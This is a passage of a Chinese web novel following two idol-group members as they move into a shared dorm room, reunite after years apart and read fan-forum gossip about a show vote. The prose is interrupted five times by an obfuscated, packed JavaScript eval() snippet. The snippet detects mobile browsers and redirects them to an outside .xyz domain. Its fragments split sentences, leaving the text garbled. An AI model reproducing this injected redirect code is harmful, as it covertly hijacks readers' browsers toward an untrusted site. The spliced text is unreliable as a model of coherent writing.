应时月想起,高中时候见过一个叫“记忆宫殿”的词。如果说那是在脑海中搭建知识框架用来辅助记忆的手段,那如今的这件屋子,就是属于他和乔亦的、实体性的“记忆宫殿”。 * 应时月想着,不由自主在房间里环视了一圈。最后才眨了眨眼,将自己的思绪拉回到当前一刻,略有延迟般回答了乔亦的提问:“……一起搬过去吧,我去抬一个梯子进来?” “不用了不用了,不麻烦你,你专心收衣柜就行,”乔亦下一刻就回绝了他的提议,“我自己去公共储物间拿就行。” 说完,他推开门走了出去。 公共储物间每层楼都有。乔亦回来得很快,双手抬着移动式折叠梯,时间刚好够应时月将拍立得取出来又好好放进另一本书里——他记下了书的名字,并将它妥善放进了箱子中层,一个确保不会出问题的位置。 余光之中,乔亦将梯子轻轻立在墙角,接着便脚步相当轻快果断地踩了上去。 当初他们将彩条拉上去只用了透明胶固定。胶带出乎意料地牢固,管了这么多年;但又意料之中地很好撕,一碰就掉。 应时月抬头看了看垂落的彩条末梢,心念一动,便起身走过去打算接住。 “你别去接,”乔亦的声音从梯子上方传来,应时月微微仰着头,同这位自己的前室友兼未来室友目光相接,“这么久了,肯定有积灰,过会先清理一下。” “哦。”应时月嘴上答应了一句,但肢体上的惯性却显然没受大脑指令的控制——他的手已经伸了出去,并且毫不意外地沾了一手灰。 接着他低头,看着手上略有褪色的彩带,后知后觉地开口:“……你好像说慢了。” 于是乔亦开始笑,一边笑一边从梯子上下来——下到最后一级台阶的时候,他站在比地面高三十厘米左右的位置,伸手在应时月头顶的发旋中心揉了揉。 感知到突如其来且意料之外的触感,应时月的注意力终于从手上的彩条转移。他又一次抬头看着乔亦,本能般想说一句“你在干什么”,张了张嘴欲言又止,最后又变成了另一句话:“……你觉不觉得我们也像是在收垃圾的。” 说出这话,他盯着乔亦,想看看这人准备怎么回答。 ——毕竟说好了连家具都换新的,这种又是积灰又是年久褪色的小装饰品,居然还会随着搬家去往下一个住处,应时月想到这里,都觉得有些莫名其妙的好笑。 可他们就是准备做这种无意义且好笑的事。 “那也没关系,总还是不如陆语心那里垃圾多的,”乔亦倒是很熟练地开始了拉踩,拉踩完了又说,“况且有些东西不仅可以被叫做垃圾,也可以被叫做青春的回忆,比如错题集之类的。” 说是错题集,但指的是不是错题集,两人都清清楚楚——虽说他们也确实保留着高中的错题集。 当初高考出成绩后,队友们还调侃过,让乔亦去把自己的那些本子当做“状元笔记”卖掉,说有些家长就是会相信这些对小孩的学习有用。 “感觉像在诈骗,我的良心上会过不去的,”乔亦看着他们说,“况且真流传出去了的话,肯定有人会发扫描版上网,感觉和社会性死亡没什么区别了呢。” 这话一说,应时月听着也觉得,扔掉这些旧书怎么想都不对。毕竟他们也算是半个公众人物,高中笔记这种东西,万一通过各种途径被人看到,多少有点尴尬。 于是它们就都被保留了下来。 而此时此刻,应时月倒是对他突如其来的直白感觉有点意外:“我以为……你会拐弯抹角说点别的呢。” “今天想说一些真话。”乔亦将梯子往右侧移动了好几个身位,固定好后,才重新扭头看向他,“你不想听吗?” 应时月笑了一声。没说想,也没说不想。 乔亦当然也不是要他真的回答这么个反问。他只这么说了,接着就重新爬上梯子继续他的工作。 于是应时月也没再试图去接,干脆也就回去继续收衣柜里的、衣服之外的大大小小的杂物。 那些书之后是几个小箱子,收的是八年来陆陆续续收到的、大多数来自应援会、少部分来自他们个站和cp站的应援物。 外圈的是应时月自己的。 上次应援会给他寄应援物还是今年夏天,这次的内容比较多,包括了新款的应援毛巾、徽章、一些透卡、夏季T恤、钥匙串和手机壳。 最后两个他目前都正在用,T恤和其他夏季的衣服放在一起,夏天上下班的路上会时不时穿上和粉丝见面,剩余的则同以前那些非实用性应援物一道,收在几个硬质的盒子里。 而再往里几个盒子,就有一些属于乔亦,一些共同属于他们两个人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532608|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时亦应援会最后一次给他送应援物,还是2020年的春节。这样小规模的制作,从策划之初到真正拿到成品,往往都需要好几个月,那套应援物设计完成的时候,乔亦还没有消失。 后来他们的故事结束得莫名其妙,时亦应援会也还是做完了这些遗留的制品,在农历2020年的第一天宣布了休站。 直到上个月,他们才重新回归。 链团明面上不允许成员加应援会创建的粉丝群,但应时月的小号还同时在他的、乔亦的、和他们cp的应援群里。 他前些日子久违地登上去看了看。那是乔亦回归首演那天,群里刷屏刷得异常疯狂。 过去的四年里,应时月屏蔽了时亦应援群的消息。 但他拖动了一下历史发言,却发现这四年里,很多人在不间断地等待他们的重逢。刷屏的不少是四年前就熟悉的id,顶着很高的群活跃度、和连续若干天在群内发言的小标志;当然,每隔一两分钟,就又会有一个新人进来。 于是应时月混在吵闹的人群中,跟风打下了一句很多人都在发的“好久不见”。 应时月一边看,一边脑子里想着各种凌乱的、毫无逻辑的事,过去的、现在的,甚至还有一些未来的。 很多应援物都是双份的。cp应援会会一人发一套,那些个人应援会的应援物,他们也买了不少属于对方的——地址往往是填到学校。早期是人工统计地址比较多,对面负责统计的后援会成员还很震惊地发了一句“你居然和时亦是同校哎!有什么体验吗?” 应时月回答不了,只能发了一句“我们不在一个年级,所以也见不到”。 这个过程中,各种各样的杂物不断被他放进了巨大的纸箱子里,直到他手边的第一个箱子被彻底装满。 应时月将箱顶封上,试着抬了抬——有点重,能搬动,但会比较费劲,或许是装了太多书、没有刻意在箱子与箱子之间平衡重量的原因。 他又跑到房门口的位置,试着抬了抬乔亦装好的那一箱衣物——这回就比较轻,靠他自己一个人应该都能一口气抬去一楼。 接着他才放下,扭过头看大概已经有几十秒没发出动静的乔亦。 这人早几分钟的时候在清理灰尘,清好之后就找了个塑料口袋装好。那堆彩条被碰到的时候就会作响,而响声此刻已经停了一会。 而乔亦此刻站在窗边,目光盯着床头柜的方向——准确说来,是床头柜往上、一块帘子的方向——在发呆,不知道在思考什么。 一个月前的应时月无论如何也料想不到,当时自己欲盖弥彰的操作,这么快就给了自己一个回旋镖。 于是此刻他决心先发制人。 应时月将箱子推到墙角,又将第三个箱子扯到衣柜前,过程中装作若无其事般开口,打破了屋内短暂的寂静:“话说,你为什么要回来——我的意思是回链团。” “你想听真话还是假话?”乔亦问。 53. “我想见你” 乔亦欠了他很多问题,数量是不可数。 这件事刚发生在一个多小时之前,应时月显然记在潜意识之中。 既然早早在自己心中单方面说好了、绝对不问“为什么要走”“这几年在做什么”这样的话,那不如就反其道而行之。 乔亦在国外上学上得挺好的,而且现在能回来、大概率是三年就完成了本科学业。暂时搁下大洋彼岸可以预期的光明前程,回来以唱跳都不擅长的姿态继续吃几年全职青春饭,多少也不是世俗意义上的最优解。 ——应时月如此自欺欺人、并怀着一点点不那么光明正大的心思、以略有期待某种答案的状态自我说服中。 当然不是“热爱偶像事业”这种答案——虽说这样的心思或许多少也是有的,但只是想做偶像的话,还不如参加选秀,乔亦那本事在三个月吸粉大战中想不被注意都难。 应时月在各种外务中,认识了不少这几年的选秀偶像,知道他们出道组一年赚的钱能比得上链团十年,能上的最高舞台档次链团估计永远也没人蹭得上。 他又想象了一下乔亦站选秀初舞台上被四个导师和pd拷打的样子,居然还觉得挺有趣的。 “你还欠我很多问题,我现在要用一个,”当然,他没把自己的联想说出来,而是答了句别的,“提问,如果我回答‘想听假话’,你会编一个什么理由?” 这问题是带着调侃的口气说的。没想到乔亦还真准备了答案:“何姐给我打电话,说小和要出国半年,L队缺队内官推,如果我现在不回来和你炒cp振兴L队的话,就把我当年十四五岁时候的黑历史照片和视频全部发官网,我被吓到了,所以就连夜搞完毕业答辩滚回来了。” 应时月听了,足足愣了三秒钟,最终是半蹲在地上笑了出声:“……你神经病啊!” “怎么样?”乔亦眨眨眼,语气很轻快,“这确实是很假但很完美的假话,对吧?” “也不是很完美,”应时月说,说完才觉得自己这话说得非常莫名其妙,“你不如编是你本人太想重新和我炒cp所以才回来的。” 乔亦沉默了几秒。 沉默到应时月准备说点什么撤回发言的时候,他才又重新开口:“……真这么说的话,有点难判断这是真话还是假话了。” 应时月觉得这一口一个“真话”或者“假话”的,很像是在玩那种高中时候很爱玩的逻辑题。一个人走到路口,遇到了一群天使,一些只能说真话,一些只能说假话,要通过问话来分辨真话天使和假话天使,这之类的。 “但这句话是真话,”乔亦像是看穿了他的想法一般,继续说,“上一句也是,除了那句你问的假话以外,今天说的所有话都是真话——你还想听别的真话吗,比如和那句假话对应的?” “所以,”应时月听得有些迷迷糊糊的,脑子里转了好几个弯,最后是将一开始那个问题重复了一遍,“你为什么要回来?” “……应时月,”乔亦抬起头,隔着半个房间同他对视,语气很平淡,平淡到像在安排工作一般,“我想见你。” 应时月指尖在身侧动了动。 虽然乔亦的回答紧接着他的问题,但当面说这话,总还是让他恍惚了几秒。 虽然也是一个预期之内的回答。 预期之内。应时月在脑海中重复了一遍这四个字。 他不是什么对人际关系特别敏锐的人,但也远不迟钝。 这事他当然这么想过。不只是他,论坛也出于正经分析、ky、嗑cp或者缺德等多种理由这么说过。但无论如何,这个答案由乔亦自己亲口对他、甚至不是在台上说出来,那总归是有不一样的意义的。 于是应时月也定定地站着,神色没有躲闪,也没什么多余的表情。直到乔亦大概是觉得气氛不对,于是试图继续说。 “所以……” “所以你现在见到我了。”应时月这才开口,打断乔亦的发言,“真是……好久不见啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532609|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完这话,他在心中松了一大口气——说不好是出于什么样的想法,但这一刻,应时月脑子里确实想的是,既然如此,“那就不追究了吧”。 不追究为什么要不辞而别、也不追究为什么这四年不联系、现在也不那么愿意说。 乔亦不做的事总归有不做、或者说不能做的理由。抛开感性来谈,应时月当然会相信,他既然选择不辞而别,那不辞而别就是那时候遇到某些事件的乔亦所能做出的最优解。 他尚且不知道情况,并依旧对此感到好奇——但到这时候,好像也只剩下好奇了。就像他也会好奇明宸和贺景然为什么会吵成现在这样,但这些并不妨碍他和这两人还是朋友。 应时月想到这里,又在心中默默推翻了这个类比。 不,也不太一样。 乔亦和明宸、和贺景然相比,总归是更重要的、是意义不太一样的——应时月脑中一方的声音叫嚣着因为更重要、所以才应该介意,而另一方则喊着因为更重要、所以那些事才更无所谓。 而这一刻,后者在急速推翻前者。 “是啊,”乔亦说,“好久不见。” 接着,两人都没有再就此多说——应时月本来还想追问点什么,但最终也没有再问出口。 他最后只是结束脑中的交战,趁着这刻的意念还在,绕过床、从乔亦身边穿过,接着轻推开床头柜,很干脆地撤下帘子。 然后抬头看着那之下熟悉的照片墙,转身对着乔亦语气自然地宣告并转移话题:“这玩意不能折叠——看起来我们回头还得抬着这么大一块板子下楼了。” ——至于为什么要遮起来这种事,如此就能被自然地略过。 乔亦于是又眨了眨眼,接着就笑了起来,笑中似乎有些若有若无的无奈——应时月不知道是不是自己解读有问题:“你如果觉得搬着一个板子下楼看起来有点弱智、想要避开其他人的话,可以明天早点起来,我们七点就搬去楼下。” 54. 复刻 “那也不用……”应时月顿了顿,思考措辞,“如此不想让我好过。” 他说完就笑了起来,于是乔亦也跟着一起笑。 队里统一联系的搬家公司,理论上确实是七点上班,想七点叫人也能叫到。不过他们这种需要经常夜间直播的偶像,即使再工作狂再努力,作息也不太习惯七点起。 ——应时月上一次长期七点起床,还是大三上学期一周七节课有五节早八的时候。当初他要骑车从链团宿舍去学校上课,每天早上七点五十在学校主路骑车的时候,心情都多少有点绝望。 应时月熟悉的人里,唯一能习惯早起的,也就只有眼前这位——他知道乔亦最近还会时不时去晨跑,大概是如他所说、在进行一些体能恢复训练。 “那就最后再动它,”乔亦笑完,干脆就拍板说,“太早送过去的话,会很占地方。” 应时月点点头,表示同意。 于是搬家工作继续有条不紊进行。 后续的进展相对更快。 应时月收着收着,有种自己已然成为了装箱熟练工的感觉——然后莫名其妙想起高中化学学的密堆积这个词。 但也总有些不能被密堆积的物件,比如说—— “好多抱枕啊,”应时月带着一点小小的报复心理,拖长音调调侃说,“感觉都能占大半个箱子了呢。” 乔亦抬头,睁大眼看他,神色有些诧异,估计是没搞明白怎么突然来这么一句。最后他才语气弱了半分:“不就只有三个……最多加上楼上四个,我单独找个塑料袋装上吧。” 应时月则又在一边毫无来由地笑。 到晚点时候,乔亦在窗边探头看了看,说楼下刚好有一辆空着的货车。 于是两人便喊上搬家公司的工作人员,上上下下先搬了几趟,将今天的四个箱子和明宸的那部分先行送了过去,来来回回也花了两个多小时。 再次走进211号,看着空空荡荡的房间空地被几个大箱子占据的一刻,应时月才终于有一种——新的生活环境将要被开启的实感。 乔亦也站在他身边,四处张望。应时月总觉得他在心中给这间屋子做规划,这么想,于是也就这么问了出来。 “……是在想,一对比发现这屋子确实挺大的,尤其是这个柜子,”乔亦点点头,居然承认了他的猜想,“感觉全搬过来、再把必需品都买了之后,好像还是会有点空,可能得再填一些别的进来。” 应时月不动声色地听着他说话,在脑中思考这人是什么意思,最后干脆说:“那要不找个日子去街上逛一下……比如周四?” * 于是他们站在211门口,很快速定下了周四出门采购的计划——当然,让人毫不意外的是,计划就是没有计划。 而直到回到老宿舍,同乔亦分道扬镳,一个人再躺在那间睡了好多年的床上、看着不再如往常模样的屋子的一刻,应时月才久违地……真的觉得有点空,也有点舍不得起来了。 L队队里有预订这栋楼的那所大学的学生。据这位后辈打听,新改造的学生宿舍,将会修成传统的三人间。 那如今这张大床肯定会连同床头柜被一并撤掉,书桌也应该会换成上床下桌的模式,衣柜可能会加上隔断被保留、也可能会换成三个小柜子——应时月不太清楚那些废弃掉的物品最后会去往何处,也并不太想知道。 他们队早年确实还经历过一次搬家。 那时候链团还没有长租下现在的宿舍楼,他们住在旧城区老基地那边的一栋小楼。第一个宿舍环境并不太好,和应时月他们学校最差的、修建于上世纪的那个研究生宿舍差不多,只好在人少,他们还能两人一间。 过了一年左右,他们就搬到了现在这里——那会链团还只租了两层楼,后来才陆陆续续将整栋楼都划归为了自己人的区域。 那次搬迁大家都很开心,有说有笑,只有一种名为“速速逃离”的情绪。甚至还有人冲着乔亦调侃,说终于能住点少爷该住的地方了。 “我在你们心中究竟是什么形象啊?”乔亦笑着说,“有这么夸张吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532610|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也同样是在2016年的下半年,他们换了一个更近的剧场、公司也租了新的办公用楼,演出变得更加稳定,也逐渐替换成了表演全原创歌曲。 为了填补一期生的空缺,让链团不至于缺人,二期生紧急招募随之开启——再后续就是若干轰轰烈烈的二期生故事,包括但不限于打架、私联、小团体、队内早恋等等,留下了很多浓墨重彩黑历史。 总的来说是一段好坏参半、但好坏都是流量来源的时期,也是链团快速发展和扩张的时期。 好像自那之后,他们便彻底进入了正轨。粉丝开始大幅度增加,逐渐从纯地元偶像转向如今的模式——走向大众视野,拥有无数线上党粉丝,参与各种外务,被更多人喜欢。 那这次大搬迁,又会带来什么新故事呢? 应时月躺在床上,迷迷糊糊地做着预设——他感觉自己这两个月回忆往事比过去两年都要多,这两天尤其是。 * 周三是搬宿舍的ddl。 前一天本就已经搬了大多数物品过去,剩下的基本是住最后这一晚要用到的,以及一些垃圾——真正意义上的垃圾,由应时月和乔亦做了筛选,一部分会去往垃圾场、另一部分会去往废品站的那种垃圾。 应时月特地调了个闹钟,比平时稍早点起床。他将这些生活用品打包,放进最后一个箱子里——在此之前,在屋里录了最后一段视频作为纪念。 接着才推开门,拐进楼梯间。 应时月还记得,乔亦房间里还有不少箱子——这人昨天一直在自己这里,今天总得处理一下那个临时住处的杂物。 搬家日的最后一天,楼道毫不意外地很多小后辈来来往往。他还帮一个搬箱子异常费劲的小后辈搬到一楼,这才顺利上到六层。 一路走来,他面对来往人群的心态已经从不安变成了无所谓——最后,他站在607门口,一边忍不住笑,一边给乔亦发了条消息。 十月: 【你在宿舍吗】 【我可以现在来找你吗】 55. 外务邀约 乔亦回得很快。 01: 【在的。】 【你想来的话随时都可以。】 应时月盯着手机屏幕。在刚收到这个回复的下一刻,就伸手敲了敲房门。 ——做这事的时候,很莫名其妙,他突然产生了一种名为“扳回一城”的快感。 应时月也不知道自己哪来的这种幼稚胜负欲。 乔亦很快就来给他开门,来的时候手上还抱着一个收纳盒,应该是刚收什么收到一半。 “好早,”他一边推门一边说,“我这边没什么需要帮忙的地方……你可以进来监工,如果有兴趣的话。” 应时月被对方前两个字说得有点心虚——也不知道乔亦是随口一说,还是刻意的。 但他还是依言坐下来,看乔亦……将衣柜里的纸箱子搬出来,堆在门口。 而乔亦刚刚来开门时抱的那个小收纳盒,就被有意无意地放在了他身边。 应时月很自然地,偏过头看了一眼。 盒子并不大,意料之外地,里面大多数都是纸质文件,有些有壳子、有些没有。 压在最上方的是一个绿色外壳的小本子,上面写着……“出生医学证明”六个字。再往下是一个红色的、更大一点的壳子,看外观,有点像是他们高中的毕业证,但不太确定。 有点欲盖弥彰,他心想。 于是应时月这回确定了,乔亦就是故意将盒子放在自己视线所能及之处的。 “你旁边那个箱子,装的可是我这个人的所有人生轨迹了,很珍贵的,”乔亦又搬过去一个箱子,抬起身,视线向着应时月的方向投来,对他眨眨眼道,“你看,现在大家都一样了,也没有第二个能收容我的地方了。” 顿了顿,他又说:“你现在无聊的话,也可以翻着玩玩。” 应时月闭了闭眼,指尖放在那堆纸质文件之上,悬停了一会。 最后还是各种奇妙的情绪,战胜了“虽然他都这么说了但是翻这些总归不太好吧”这样的想法——于是应时月拿起最上面的那一本。 乔亦出生的时间是下午两点,一天里最热的时候,某种意义上很像他这个人本身。 不出所料,证明里父亲那一栏是空着的,母亲那一栏则是个熟悉的名字——虽说名字熟悉,应时月却从未见过本人,只经常听乔亦提起,连照片都没看到过。 再往下就是一些重要的证件。 小学到大学的毕业证,各个阶段的录取通知书、成绩条,还有些别的,比如小时候的疫苗接种证明,初中时期的团员证,高中时候的省优秀学生的奖状,用另一个更小的盒子装起来埋在下方的、两次总选的奖杯——以及放在最底层的,落款是2019年的、盖了章的退学申请。 应时月动作一顿,突然就有些不舒服起来。 所以他又将这些东西一件一件放回去,不再翻看,干脆就坐在床上看乔亦搬箱子。 但也没看上多久。 如乔亦所说,确实没什么需要帮忙的。 在他这过夜的那个晚上,应时月恍惚之中,感觉楼上有特别多东西,如今真搬出来,再和楼下房间的行李一对比,属实是少得可怜。 这些就是……这个人不与自己交叉的十八年人生的全部了吗? 应时月没来由地想——看上去内容也并不比自己多。 * 收完之后,他们居然还赶上了今天的第二趟车——链团全员作息不规律的团设,即使在搬家日ddl将近之时,依然保持得异常稳定。 东西放上车后还有一大块空位。乔亦目测了一下,说应该能放下那个照片墙,于是他们又上去搬了一次。 ——最后还是用帘子遮着搬下去的。 他们真抬到门口,准备推出去的时候,最终还是觉得哪里不对劲。 “感觉有点行为艺术,”乔亦顿了顿说,“再在楼梯间遇上一个开直播的后辈就更行为艺术了。” 下一瞬间,应时月脑子里就被论坛首页视频截图满天飞的想象吓到了——最终还是折了回去,又重新将帘子遮上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532611|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而此时此刻,两人骑着电动车,跟在搬家公司那辆据说不能载人的货车后面。 其间,应时月看到自己外套口袋里的手机连着亮了几回——停好车后,他就点开消息列表,而身边的乔亦也是同款动作。 亮起的是L队的队群,有工作人员的那个。 何乐说链团接了个重磅外务邀约,是一个几乎所有人都知道的歌唱类综艺,队里会选六个人组团作为整体参赛。时间是从12月中下旬到1月下旬,每周六会有一次舞台,会耽误周五周六的公演。 换成别的地方,毕竟是上热门综艺,这种活动选人肯定是挑唱歌最好的六个。 ——但这是在链团,一个喜欢用排名说话的地方。 只不过这次选人也不按总选排名,而是会单独在fanclub开一个投票列表,让粉丝来选这个外务组名单。 之所以发消息,也是让无法腾出时间的人提前通知她,以免粉丝白投票。 这种外务打投,链团史上有过好几次,几乎都是针对那些非常重要的综艺选人。 应时月也被投上去过几次。不过比起这,他更记忆深刻的是,每次投票必然会面临粉圈的大吵特吵和水漫金山——他和乔亦19年初那回就是个典型。 “怎么又来。”乔亦一边看消息,一边说了句。 应时月也叹了口气。 总选后的这两个月,他看着自己的人气和数据开始疯狂回升——这次是六个名额,坦白来说,他如今的粉圈活跃度想将他投进去还真挺有希望。别说是他,就连才回归不到两个月的乔亦,都看起来有一争之力。 ——这就是cp在链团的影响力,应时月无奈地心想。他们又要被卷入一场大战之中了。 不过,应时月这边的消息还没结束。 何乐在队群里发了一大堆内容后,又找他私聊了几句,问的则是另一件事。 何乐: 【十月,你下个月生日公演定在11月26号晚场】 【开始准备了吗】 56. 新房间 搬家公司的师傅搬着箱子上楼,应时月和乔亦抬着照片墙板子,跟在最后。 应时月这时候才觉得,211这个房号也挺不错的——毕竟它只在二楼,上下很方便,离楼梯口还近。 到了之后才开始清理这些东西。 说起来也并不算麻烦。新房间的衣柜比原来的大,他们的主要工作,无非就是将箱子里的东西再重新安放进去,再在备忘录里记好放置的顺序,方便需要的时候能找到,顺道中途吃个午饭。 接着他们又挑了下新洗衣机、饮水机、小冰箱等等一系列家电——主要是乔亦在挑,应时月在其中起到更多的作用,是选择他觉得最适配的颜色。 “你想不想……”等准备关上网购app的时候,乔亦突然开口,他顿了顿,又在应时月的注视下继续说,“买个投影仪?” “啊?”应时月对突然从这人口中蹦出来的三个陌生的字感到些许意外,“什么投影仪?” “就是那种,”乔亦开始比划,“家用的投影仪,可以连设备把图像投到这片空墙上,以后能用来……玩游戏或者放视频什么的。” “怎么突然想装投影仪了?”应时月又问。 “你不觉得这里……有点空吗?”乔亦说,然后又开始笑,“我好像昨天也说过一遍。” “这是新房间效应,”应时月开始有理有据瞎编,“住进新房间都会感觉空旷的,过段时间就会莫名其妙被塞满各种东西。” “那不如提前用有意思的内容来填补它,”乔亦眨眨眼说,“我出钱不平摊了,算作给你赔礼道歉的一部分?” “我没想说这个……算了,”应时月欲言又止,最后没有拒绝、也没问出“赔礼道歉”这四个字是什么意思,“你买吧,我觉得也还不错。” 于是乔亦坐在一边下单——速度很快,动作非常果断,就像是、不对……就应该是提前选好了的。 应时月心说怎么早有准备了还问我,目光却随意在房间内游移,接着注视着目前仍被斜放在窗边的照片墙板子,感受到了一丝不对劲。 “你也发现了对吧,”乔亦这时候已经付了钱,抬起头,目光追随着应时月的视线,“这个房间和原来的长宽比不同,一面衣柜,一面窗户,一面投影屏——这个板子好像放不下了。” 应时月一句“那你还买投影仪”卡在嘴边,没说出口——一方面是乔亦提到了投影仪这事之后,他想了想,也确实觉得有些想用;另一方面,真将照片墙放在床正对面,每次起床坐起来就看到一大堆自己的照片,未免也有点吓人。 于是他站起身,又在房间里转了一圈,企图寻找能安放那个板子的位置。 ……最后视线落在了床头柜之上。 准确说来,是两张床之间的那个床头柜上。 他们这回住的是正经双人间,而不再是之前那个被改造的单人间。 这全都拜应时月没进选拔的排名所赐——当然,楼下那对今年暂时还能双御三的室友组,倒是也总算申请到了一个正经的双人间。 但总之,双人间就有两张床,两张床就代表着中间会有一段没什么用、但必须存在的间隔。 应时月如今就是打的这个主意。 他指了指靠窗的那张床,又指了指中间的床头柜:“把柜子移到对面,然后这张床往里推,你感觉窗边这一块是不是够放?” “感觉可以,”乔亦一听,目光在床和板子之间来回移动,大概又在估算,最后说,“所以……我们是把这两张床拼一起吗?” 应时月愣了愣,然后才点点头:“……大概是吧。” 总觉得一个很正常的操作,怎么经由乔亦这么一说,就显得奇怪了起来。 在收衣柜之前,两人就已经铺好了床上用品。 如今的床比之前的窄一点,但也问题不大。乔亦还是用的另一套浅蓝色床单,说是前几天才下单的——为了与之相搭配,应时月便也先换上了一套金色的。 分开隔一段距离的时候感觉很顺眼,各自用各自的应援色,还很好区分。合一起了,就变得不那么协调起来。 “……怎么第一天觉得你俩应援 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532612|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色这么不搭。”这是前来串门的贺景然环顾一圈后的第一句话。 “你和那谁,你对面那位,应援色还挺搭的,”乔亦没安好心地回答,“一个红一个绿,实在是太搭了,超经典搭配。” 应时月没忍住,蹲在地上笑了出声。 最后他想了个点子。 将小狗抱枕放在两张床之间,再用两边的被子分别盖住——这么一隔断,场景就变得协调了不少。 而乔亦眨了眨眼,看着他的成品,最后来了句:“怎么盖两层,它不会觉得热吗?” 应时月于是想了想,非常认真地建议:“那要不一天换一边盖?” “为什么会有人一本正经讨论这种问题,”贺景然的语气充斥着莫名其妙和无言以对,“搞不懂你们两个人脑回路是怎么长的。” “谢谢夸奖啊。”乔亦点点头说,“这是对我们的肯定,我收到了。” 贺景然:“神经病啊!” 被声讨的两人又很有默契地都笑而不答。 而一通玩笑话后,他们干脆也跑去其他人那里串门。 首先是回访贺景然—— 单人间比他们房间小一点,但小得不多,毕竟是选拔组的优待。 在他们这群人里,贺景然算是各种意义上、将生活过得最有生活气息的一个。这人平时会自己做饭,会种花花草草,也会光速将房间布置成真正很像家——而不是像宿舍的模样。 应时月无法用语言形容,大抵是一种天赋技能。 至于陆语心那边,则要混乱不少。 唐言已经被喊了回来,此刻正在陆语心的指挥之下,将衣柜的顶层放满各种零散杂物。 “已经扔了挺多了,”唐言从梯子上跳下来,对着他们说,“我还带回家了一些,不过有些人又新买了不少乱七八糟的玩意。” “你在说什么乱七八糟?”陆语心语气平淡地发问。 应时月于是又开始笑。 ——即使搬来了新住处,所有人的行为模式都依然符合人设,让他有种莫名的安心感。 57. 混战前兆 他们绕了几圈,回到211,时间已经有点晚了。 浴室要轮流用。应时月先行洗漱完,换上睡衣,便坐在属于自己的、靠衣柜的那一侧,开始看手机。 当然,惯例般地,还是先点开论坛的链团专组。 组里这会还挺热闹。 热闹一方面是这几天搬宿舍,包括应时月本人在内,很多小偶像直播或是分享期间趣事——链团粉生性爱看群像,如此“集体活动”,当然也是一次重大的群像观测机会。 而另一方面,则是在讨论一些……不知道是不是staff有意在论坛上放出来的瓜。 * 【主题】外务瓜,明日新声第三季常驻,六人组,临时打投定,周末宣 主楼:rt,保真,战绩可查→[链接] 录制时间大概是12月到1月,赛制应该变化不大吧,这个不清楚 1L ? 3L 啊?明日新声? 6L 眼熟lz,好像确实是没出过错的老牌真瓜主 8L 不是,你团是怎么蹭上这种水平的音综的 11L 回复8L:只能说努力了,虽然不知道是谁在努力 14L 这种机会别人都赶着把最强歌担送出去,你团还真是一以贯之的全靠打投呢…… 打投出全舞担阵容就好笑了,到时候你团会被外面嘲笑很多年的 18L 回复14L:怎么可能全舞担阵容,你是看不起美帝粉还是看不起他们两家单推 总不能两位哥都不参加吧,那我唯一能想到的原因就是一哥出走半生终于成年了,他俩准备不知道按照哪国法律结婚度蜜月去了 20L 我服了你们好缺德啊 一哥才18能不能先放过他 21L 回复18L:对啊我就说啊,能打投定当然是因为打投一定能送大主唱进去啊 与其担心全舞担不如担心会投一些真fw进去 24L 不要点名 28L 说不要点名的是暗示谁啊,今年前十都没谁是真歌舞双废吧,倒是真不会唱歌的确实有几个 实在不行靠美帝两口子给他们和声呗,能者多劳了 32L 你都说美帝了怎么还反应不过来 没人说我来直说,24L当然是说的过世美帝两位 35L 嗯嗯嗯又开始共沉沦了 